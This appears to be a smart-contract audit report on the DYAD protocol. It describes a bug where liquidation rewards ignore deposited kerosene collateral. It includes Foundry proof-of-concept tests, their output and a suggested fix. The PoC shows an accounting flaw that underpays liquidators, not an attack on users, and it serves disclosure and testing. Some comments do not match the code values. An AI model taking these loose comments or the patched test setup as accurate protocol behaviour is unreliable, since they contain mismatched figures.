If a User is holding 3000 USD worth of collateral against their DNFT, with a 1.4 collateral ratio, the rewards that the liquidator gets is equal to ~77% of the total collateral (Percentage taken from here) which is around 2310 USD worth of collateral in the liquidation rewards.

But, if a user is holding the same 3000 USDC worth of collateral but around 2000 USD of it is in exogenous collateral and 1000 USD is in kerosene. And if the collateral ratio is again 1.4, then the liquidator is going to receive ~77% liquidation rewards of the total exogenous collateral which is ~1540 USD.

Sponsors also confirmed that this is a bug as liquidator should also receive kerosene in the liquidation rewards.

Proof of Concept

Test for PoC:

Note: The tests won't work as there are some other issues with other functions. Run the tests are making following changes in the codebase:

File: VaultManagerV2.sol

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
-    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
+    if (!vaultLicenser.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

  function getKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaultsKerosene[id].length(); 
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaultsKerosene[id].at(i));
        uint usdValue;
-        if (keroseneManager.isLicensed(address(vault))) {
+        if (vaultLicenser.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);        
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

<details> <summary>Test Base</summary>

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {Parameters} from "src/params/Parameters.sol";
import {DNft} from "src/core/DNft.sol";
import {Dyad} from "src/core/Dyad.sol";
import {Licenser} from "src/core/Licenser.sol";
import {VaultManagerV2} from "src/core/VaultManagerV2.sol";
import {Vault} from "src/core/Vault.sol";
import {VaultWstEth} from "src/core/Vault.wsteth.sol";
import {Payments} from "src/periphery/Payments.sol";
import {OracleMock} from "../OracleMock.sol";
import {ERC20Mock} from "../ERC20Mock.sol";
import {IAggregatorV3} from "src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {Kerosine} from "src/staking/Kerosine.sol";
import {BoundedKerosineVault} from "src/core/Vault.kerosine.bounded.sol";
import {UnboundedKerosineVault} from "src/core/Vault.kerosine.unbounded.sol";
import {KerosineManager} from "src/core/KerosineManager.sol";
import {KerosineDenominator} from "src/staking/KerosineDenominator.sol";

struct Contracts {
  DNft         dNft;
  ERC20Mock    weth;
  Licenser     vaultManagerLicenser;
  Licenser     vaultLicenser;
  Dyad         dyad;
  VaultManagerV2 vaultManager;
  KerosineManager kerosineManager;
  MockKerosineDenominator kerosineDenominator;
}

struct Oracles{
    OracleMock   wethOracle;
    OracleMock   daiOracle;
    OracleMock   usdcOracle;
}

struct Tokens{
    ERC20Mock    weth;
    ERC20Mock    dai;
    USDC        usdc;
    Kerosine     kerosene;
}

struct Vaults{
    Vault        wethVault;
    Vault        daiVault;
    Vault        usdcVault;
    BoundedKerosineVault boundedKerosineVault;
    UnboundedKerosineVault unboundedKerosineVault;
}

contract MockKerosineDenominator {

  Kerosine public kerosine;
  address public owner;

  constructor(
    Kerosine _kerosine
  ) {
    kerosine = _kerosine;
    owner = msg.sender;
  }

  function denominator() external view returns (uint) {
    // @dev: We subtract all the Kerosene in the multi-sig.
    //       We are aware that this is not a great solution. That is
    //       why we can switch out Denominator contracts.
    return kerosine.totalSupply() - kerosine.balanceOf(owner);
  } 
}


contract USDC is ERC20 {
    constructor() ERC20("USDC", "USDC", 6) {
    }

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function burn(address from, uint256 amount) public {
        _burn(from, amount);
    }
}

contract BaseLocalTest is Test {
    Contracts public contracts;
    Oracles public oracles;
    Tokens public tokens;
    Vaults public vaults;

  function setUp() public virtual {
    // oracles
    oracles.wethOracle = new OracleMock(3000e8);
    oracles.daiOracle = new OracleMock(1e8);
    oracles.usdcOracle = new OracleMock(1e8);

    // tokens
    tokens.dai       = new ERC20Mock("DAI-TEST", "DAIT");
    tokens.weth       = new ERC20Mock("WETH-TEST", "WETHT");
    tokens.kerosene = new Kerosine();
    tokens.usdc = new USDC();

    // contracts
    contracts.dNft       = new DNft();
    contracts.vaultLicenser = new Licenser();
    contracts.dyad = new Dyad(contracts.vaultLicenser);
    contracts.vaultManager = new VaultManagerV2(contracts.dNft, contracts.dyad, contracts.vaultLicenser);
    contracts.kerosineManager = new KerosineManager();
    vaults.boundedKerosineVault = new BoundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.kerosineManager);
    vaults.unboundedKerosineVault = new UnboundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.dyad, contracts.kerosineManager);
    vaults.boundedKerosineVault.setUnboundedKerosineVault(vaults.unboundedKerosineVault);
    contracts.vaultManager.setKeroseneManager(contracts.kerosineManager);
    contracts.kerosineDenominator = new MockKerosineDenominator(tokens.kerosene);

    vaults.unboundedKerosineVault.setDenominator(KerosineDenominator(address(contracts.kerosineDenominator)));

    // create the DAI vault
    vaults.daiVault  = new Vault(
      contracts.vaultManager,
      ERC20(address(tokens.dai)),
      IAggregatorV3(address(oracles.daiOracle))
    );

    // create the WETH vault
    vaults.wethVault  = new Vault(
      contracts.vaultManager,
      ERC20(address(tokens.weth)),
      IAggregatorV3(address(oracles.wethOracle))
    );

    // create the usdc vault
    vaults.usdcVault  = new Vault(
      contracts.vaultManager,
      ERC20(address(tokens.usdc)),
      IAggregatorV3(address(oracles.usdcOracle))
    );

    // add the DAI vault
    vm.startPrank(contracts.vaultLicenser.owner());
    contracts.vaultLicenser.add(address(vaults.daiVault));
    contracts.vaultLicenser.add(address(vaults.usdcVault));
    contracts.vaultLicenser.add(address(vaults.wethVault));
    contracts.vaultLicenser.add(address(contracts.vaultManager));
    contracts.vaultLicenser.add(address(vaults.unboundedKerosineVault));
    contracts.kerosineManager.add(address(vaults.wethVault));
    // should not be done but we are doing it for the testing purpose only as it is also done in the deployment script
    // contracts.kerosineManager.add(address(vaults.unboundedKerosineVault));

    assertEq(contracts.kerosineManager.isLicensed(address(vaults.wethVault)), true);

    // labeling everything
    vm.label(address(contracts.weth), "WETH");
    vm.label(address(contracts.dyad), "DYAD");
    vm.label(address(contracts.vaultManager), "VaultManager");
    vm.label(address(contracts.dNft), "DNFT");
    vm.label(address(contracts.vaultLicenser), "VaultLicenser");
    vm.label(address(contracts.vaultManagerLicenser), "VaultManagerLicenser");
    vm.label(address(vaults.daiVault), "DAI Vault");
    vm.label(address(vaults.wethVault), "WETH Vault");
    vm.label(address(tokens.dai), "DAI");
    vm.label(address(tokens.weth), "WETH");
    vm.label(address(tokens.kerosene), "Kerosene");
    vm.label(address(oracles.wethOracle), "WETH Oracle");
    vm.label(address(oracles.daiOracle), "DAI Oracle");
    vm.label(address(oracles.usdcOracle), "USDC Oracle");
    vm.label(address(tokens.usdc), "USDC");
    vm.label(address(vaults.usdcVault), "USDC Vault");
  }

  receive() external payable {}

  function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
  ) external pure returns (bytes4) {
    return 0x150b7a02;
  }
}

</details>

Tests:

pragma solidity =0.8.17;

import {BaseLocalTest} from "./Base.t.sol";
import {console2} from "forge-std/console2.sol";

contract Unit is BaseLocalTest{
    function setUp() public override{
        super.setUp();
    }

    function test_LiquidationDoesNotTakeIntoAccountTheDepositedkeroseneForLiquidationRewards() public {
        // setup
        address alice = makeAddr("alice");
        address bob = makeAddr("Bob");
        uint256 alicesAmount = 1e18;
        uint256 bobsAmount = 100000e18;
        address temproryHolder = makeAddr("temproryHolder");
        uint256 keroseneAmount = 5000 ether;


        // giving some tokens to alice and bob
        vm.deal(alice, alicesAmount);
        tokens.weth.mint(alice, alicesAmount);
        vm.deal(bob, bobsAmount);
        tokens.weth.mint(bob, bobsAmount);
        tokens.kerosene.transfer(alice, keroseneAmount);

        // only keeping 100 million kerosene in the contract.
        // Doing this because around 10% of the total kerosene will be kept in reserve. 
        // Source: https://dyadstable.notion.site/KEROSENE-Tokenomics-a4a983c69a354097ba5fd9358057f4bd
        tokens.kerosene.transfer(temproryHolder, tokens.kerosene.balanceOf(address(this)) - 100_000_000 ether);

        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////

        // bob mints new DNFT
        vm.startPrank(bob);
        uint256 bobsTokenId = contracts.dNft.mintNft{value: 1 ether}(bob);

        // bob adds the vault in the vault manager
        contracts.vaultManager.add(bobsTokenId, address(vaults.wethVault));

        // bob deposits 2000 weth to the vault
        tokens.weth.approve(address(contracts.vaultManager), bobsAmount);
        contracts.vaultManager.deposit(bobsTokenId, address(vaults.wethVault), bobsAmount);

        // amount should be added to the vault
        assertEq(vaults.wethVault.id2asset(bobsTokenId), bobsAmount);

        // mints dyad only to cover the liquidation amount
        uint256 bobDyadValue = 3000 * (10 ** 18);
        contracts.vaultManager.mintDyad(bobsTokenId, bobDyadValue , bob);
        vm.stopPrank();

        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////

        // alice mints new DNFt
        vm.startPrank(alice);
        uint256 alicesTokenId = contracts.dNft.mintNft{value: 1 ether}(alice);

        // alice add the weth for the new DNFt in vaultmanager 
        contracts.vaultManager.add(alicesTokenId, address(vaults.wethVault));
        contracts.vaultManager.addKerosene(alicesTokenId, address(vaults.unboundedKerosineVault));

        // alice deposit weth in the vault
        tokens.weth.approve(address(contracts.vaultManager), alicesAmount);
        contracts.vaultManager.deposit(alicesTokenId, address(vaults.wethVault), alicesAmount);

        tokens.kerosene.approve(address(contracts.vaultManager), keroseneAmount);
        contracts.vaultManager.deposit(alicesTokenId, address(vaults.unboundedKerosineVault), keroseneAmount);

        // getting the asset price of kerosene
        console2.log("The price of kerosene is: ", vaults.unboundedKerosineVault.assetPrice(), vaults.unboundedKerosineVault.getUsdValue(alicesTokenId));

        // assert alice has 1000 weth in the vault
        assertEq(vaults.wethVault.id2asset(alicesTokenId), alicesAmount);
        
        // this dyad minting amount has been picked after checking a lot values. This value will make the cr equals to 1.5 in 
        // this particular scenario
        (, uint256 price, , ,) = oracles.wethOracle.latestRoundData();
        uint256 alicesDyadValue = 3000 ether;
        contracts.vaultManager.mintDyad(alicesTokenId, alicesDyadValue , alice);
        vm.stopPrank();

        // alice should have 2000000 dyad minted
        assertEq(contracts.dyad.mintedDyad(address(contracts.vaultManager), alicesTokenId), alicesDyadValue);



        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////

        // assuming the price of weth falls down from 3000 (3000e8) usd to (2900) usd. In oracle decimals, it would be equal to 2900 * 1e8
        //  so the new price of weth in oracle would be 2900 * 1e8
        oracles.wethOracle.setPrice(2800 * 1e8);

        // new ratio of alice should be less than 1.5
        uint256 newCollateralRatioOfAlice = contracts.vaultManager.collatRatio(alicesTokenId);
        assertLt(newCollateralRatioOfAlice, 1.5 ether);

        // bob saw that and decides to liquidate alice
        vm.prank(bob);
        contracts.vaultManager.liquidate(alicesTokenId, bobsTokenId);

        vm.roll(block.number + 1);

        // bob tries to withdraw his dyad balance but will revert due to a bug
        vm.startPrank(bob);

        // bob has no balance in dyad since his whole balance has been burnt during liquidation
        assertEq(contracts.dyad.balanceOf(bob), 0);

        console2.log("bob's weth balance in vault: ", vaults.wethVault.id2asset(bobsTokenId));
        vm.stopPrank();
    }

    // Same test as above without any kerosene deposits
    function test_SameTestAsAboveButWithoutAnyKeroseneDeposit() public {
        // setup
        address alice = makeAddr("alice");
        address bob = makeAddr("Bob");
        uint256 alicesAmount = 1e18;
        uint256 bobsAmount = 100000e18;
        address temproryHolder = makeAddr("temproryHolder");


        // giving some tokens to alice and bob
        vm.deal(alice, alicesAmount);
        tokens.weth.mint(alice, alicesAmount);
        vm.deal(bob, bobsAmount);
        tokens.weth.mint(bob, bobsAmount);

        // only keeping 100 million kerosene in the contract.
        // Doing this because around 10% of the total kerosene will be kept in reserve. 
        // Source: https://dyadstable.notion.site/KEROSENE-Tokenomics-a4a983c69a354097ba5fd9358057f4bd
        tokens.kerosene.transfer(temproryHolder, tokens.kerosene.balanceOf(address(this)) - 100_000_000 ether);

        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////

        // bob mints new DNFT
        vm.startPrank(bob);
        uint256 bobsTokenId = contracts.dNft.mintNft{value: 1 ether}(bob);

        // bob adds the vault in the vault manager
        contracts.vaultManager.add(bobsTokenId, address(vaults.wethVault));

        // bob deposits 2000 weth to the vault
        tokens.weth.approve(address(contracts.vaultManager), bobsAmount);
        contracts.vaultManager.deposit(bobsTokenId, address(vaults.wethVault), bobsAmount);

        // amount should be added to the vault
        assertEq(vaults.wethVault.id2asset(bobsTokenId), bobsAmount);

        // mints dyad only to cover the liquidation amount
        uint256 bobDyadValue = 2000 * (10 ** 18);
        contracts.vaultManager.mintDyad(bobsTokenId, bobDyadValue , bob);
        vm.stopPrank();

        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////

        // alice mints new DNFt
        vm.startPrank(alice);
        uint256 alicesTokenId = contracts.dNft.mintNft{value: 1 ether}(alice);

        // alice add the weth for the new DNFt in vaultmanager 
        contracts.vaultManager.add(alicesTokenId, address(vaults.wethVault));

        // alice deposit weth in the vault
        tokens.weth.approve(address(contracts.vaultManager), alicesAmount);
        contracts.vaultManager.deposit(alicesTokenId, address(vaults.wethVault), alicesAmount);

        // assert alice has 1000 weth in the vault
        assertEq(vaults.wethVault.id2asset(alicesTokenId), alicesAmount);
        
        // max dyad value that can be minted
        // cr = 1.5
        // so for 1 weth, which is equal to 1 * 3000 = 3000 usd
        // the dyad value that can be minted is 3000 / 1.5 = 2000
        uint256 alicesDyadValue = 2000 ether;
        contracts.vaultManager.mintDyad(alicesTokenId, alicesDyadValue , alice);
        vm.stopPrank();

        console2.log("collateral ratio of alice after mint: ", contracts.vaultManager.collatRatio(alicesTokenId));
        // alice should have 2000000 dyad minted
        assertEq(contracts.dyad.mintedDyad(address(contracts.vaultManager), alicesTokenId), alicesDyadValue);



        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////
        //////////////////////////////////////////////////////////////////////////////

        // assuming the price of weth falls down from 3000 (3000e8) usd to (2900) usd. In oracle decimals, it would be equal to 2900 * 1e8
        //  so the new price of weth in oracle would be 2900 * 1e8
        oracles.wethOracle.setPrice(2900 * 1e8);

        // new ratio of alice should be less than 1.5
        uint256 newCollateralRatioOfAlice = contracts.vaultManager.collatRatio(alicesTokenId);
        assertLt(newCollateralRatioOfAlice, 1.5 ether);

        // bob saw that and decides to liquidate alice
        vm.prank(bob);
        contracts.vaultManager.liquidate(alicesTokenId, bobsTokenId);

        vm.roll(block.number + 1);

        // bob tries to withdraw his dyad balance but will revert due to a bug
        vm.startPrank(bob);

        // bob has no balance in dyad since his whole balance has been burnt during liquidation
        assertEq(contracts.dyad.balanceOf(bob), 0);

        console2.log("bob's weth balance in vault: ", vaults.wethVault.id2asset(bobsTokenId));
        vm.stopPrank();        
    }

Output1:

[PASS] test_LiquidationDoesNotTakeIntoAccountTheDepositedkeroseneForLiquidationRewards() (gas: 1154485)
Logs:

  ...


  bob's weth balance in vault:  100000751022660749525130

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.63ms (1.39ms CPU time)

Ran 1 test suite in 347.09ms (2.63ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Output2:

Ran 1 test for test/unit/Unit.t.sol:Unit
[PASS] test_SameTestAsAboveButWithoutAnyKeroseneDeposit() (gas: 893612)
Logs:
 
  ...

  bob's weth balance in vault:  100000771428571428571428

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.00ms (800.28µs CPU time)

Ran 1 test suite in 289.08ms (2.00ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

We can check from the output that approx 0.7 weth was recieved by both although in case 1, the total collateral was worth ~4000 USDC and 3000 USDC is case 2.

Tools Used

• Manual Review
• Foundry

Recommended Mitigation Steps

It is recommended to include the kerosene rewards in the rewards calculation of liquidation.

Assessed type

Error